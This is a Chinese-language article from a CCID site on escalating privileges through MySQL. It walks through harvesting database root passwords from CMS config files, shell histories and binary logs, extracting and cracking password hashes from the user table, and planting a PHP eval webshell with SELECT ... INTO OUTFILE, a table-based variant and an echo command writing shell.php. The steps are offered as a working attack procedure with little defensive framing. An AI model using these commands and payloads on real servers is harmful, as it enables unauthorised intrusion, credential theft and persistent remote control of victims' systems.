首页 > 赛迪观察 > 正文

MySQL提升权限浅谈

来源:中国软件评测中心  作者:王儒周  投稿时间:2017-12-26

  MySQL是一个中、小型关系型数据库管理系统,由瑞典MySQL AB公司开发,目前属于Oracle公司。MySQL是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。MySQL的SQL语言是用于访问数据库的最常用标准化语言。MySQL软件采用了GPL(GNU通用公共许可证),它分为免费版和商业版,由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,一般中小型网站的开发都选择MySQL作为网站数据库。由于其免费版的性能卓越,搭配PHP和Apache可组成良好的开发环境,MySQL 分为商业版本(MySQL Enterprise Edition和 MySQL Cluster CGE )和GPL版本(MySQL Community Edition)。
 

  Mysql学习环境必备条件
 

  服务器安装Mysql数据库,利用Mysql提权的前提就是服务器安装了mysql数据库,且mysql的服务没有降权,Mysql数据库默认安装是以系统权限继承的,并且需要获取Mysql root账号密码。判断Mysql服务运行权限:对于Mysql数据库服务运行权限有很多方法,我这里主要介绍三种,一种是通过查看系统账号,也即使用“net user”命令查看系统当前账号,如果出现了mysql这类用户,以为着系统可能进行了降权,一般情况都不会降权。第二种方法就是看mysqld运行的Priority值,如图1所示。通过aspx的网页木马来查看Process信息,在图中我们可以看到系统权限的Priority值为“8”,如果Mysqld的Priority值也为8则意味着Mysql是以System权限运行的。第三种方法是查看端口可否外联,一般情况下是不允许root等账号外联,外部直接连接意味着账号可能被截取和嗅探,通过本地客户端直接连接对方服务器,直接查看和操作Mysql数据库,可以通过扫描3306端口来判断是否提供对外连接。
 

  Mysql密码获取
 

  获取网站数据库账号和密码:对于CMS系统,一定会有一个文件定义了数据库连接的用户和密码。例如以下代码: $db['default']['hostname'] = 'localhost';  $db['default']['username'] = 'root';  $db['default']['password'] = '123456';  $db['default']['database'] = 'crm';dedecms数据库安装的信息就是写在data/common.inc.php,Discuz的数据库信息就在config/config_global_default.php、config /config_ucenter.php、config.inc.php。一般数据库配置文件都会位于config、application、conn、db等目录,配置文件名称一般会是conn.asp/php/aspx/jsp等。对于java会在/WEB-INF/config/config.properties中配置,总之通过查看源代码,进行层层分析,终究会发现数据库配置文件。 对于Linux操作系统,除了上述方法获取root账号密码外,还可以通过查看./root/.mysql_history、./root/.bash_history文件查看mysql操作涉及的密码。当然对于Mysql5.6以下版本,由于设计Mysql程序时对于安全性的重视度非常低,用户密码是明文传输。MySQL对于binary log中和用户密码相关的操作是不加密的。如果你向MySQL发送了例如create user,grant user … identified by这样的携带初始明文密码的指令,那么会在binary log中原原本本的被还原出来,执行“mysqlbinlog binlog.000001”命令即可获取。
 

  获取Mysql数据库user表:MYSQL所有设置默认都保存在“C:\Program Files\MYSQL\MYSQL Server 5.0\data\MYSQL”中,也就是安装程序的data目录下,有关用户一共有三个文件即user.frm、user.MYD和 user.MYI,MYSQL数据库用户密码都保存在user.MYD文件中,包括root用户和其他用户的密码。在有权限的情况下,我们可以将User.frm、user.myd和User.myi三个文件下载到本地,通过本地的mysql环境直接读取user表中的数据。当然也可使用文本编辑器将user.MYD打开将root账号的密码复制出来到到cmd5.com进行查询和破解。对于Mysql数据库密码如果通过cmd5.com等网站不能查询到密码则需要自己手动破解。
 

  Mysql密码查询:可以通过以下查询语句直接查询mysql数据库中的所有用户和密码。select user,password from mysql.user; select user,password from mysql.user where user ='root'。
 

  MySQL密码加密算法:MySQL实际上是使用了两次SHA1夹杂一次unhex的方式对用户密码进行了加密。具体的算法可以用公式表示:password_str = concat(‘*’, sha1(unhex(sha1(password)))),可以通过查询语句进行验证,select password('mypassword'),concat('*',sha1(unhex(sha1('mypassword'))));。
 

  Mysql获取webshell
 

  Mysql root账号网站获取webshell具备的条件: 1.知道站点物理路径,网站物理途径可以通过phpinfo函数、登录后台查看系统属性、文件出错信息、查看网站源代码以及路径猜测等方法获取。 2.有足够大的权限,最好是root账号权限或者具备root权限的其它账号,可以用select user,password from mysql.user进行测试。 3.magic_quotes_gpc()=OFF。对于PHP magic_quotes_gpc=on的情况,可以不对输入和输出数据库的字符串数据作addslashes()和stripslashes()的操作,数据也会正常显示。 对于PHP magic_quotes_gpc=off 的情况必须使用addslashes()对输入数据进行处理,但并不需要使用stripslashes()格式化输出,因为addslashes()并未将反斜杠一起写入数据库,只是帮助mysql完成了sql语句的执行。 4.直接导出webshell,执行下面语句 Select '<?php eval($_POST[cmd])?>' into outfile '物理路径'; and 1=2 union all select 一句话HEX值 into outfile '路径';也可以通过创建表来直接完成,其中d:/www/exehack.php为webshell的名称和路径:CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL ); INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php @eval($_POST [pass]);?>');  SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd:/www/exehack.php';  DROP TABLE IF EXISTS `darkmoon`;5.有些情况下掌握了MSSQL数据库口令,但服务器环境是Windows2008,web环境是PHP,则可以通过SQLTOOLs工具,直接连接命令,通过以下命令写入shell:echo ^<?php @eval(request[xxx])? ^^>^ >c:\web\www\shell.php(通讯员:雷蕾)

共1页 |< 首页 < 上一页 1 下一页 > 尾页 >|

【上一篇】: 来,了解下数据跨境流动管理    【下一篇】: 你了解“Slowloris HTTP DOS”吗?

  中国电子信息产业发展研究院(赛迪集团)是直属于国家工业和信息化部的一类科研事业单位。成立二十多年来,一直致力于面向政府、面向企业、面向社会提供研究咨询、评测认证、媒体传播与技术研发等专业服务。形成了政府决策与软科学研究、传媒与网络服务、咨询与外包服务……[详细]

赛迪专家更多

打造工业互联网平台“双创”升级版

7月2日,在北京工业互联网创新发展论坛上,中国电子..

陆峰:新型互联网应用点亮智慧生活

互联网作为20世纪人类最伟大发明,已经深刻改变了人..

赛迪机构

咨询业 媒体业 评测业 信息技术服务业 会展培训业 其他(分支机构)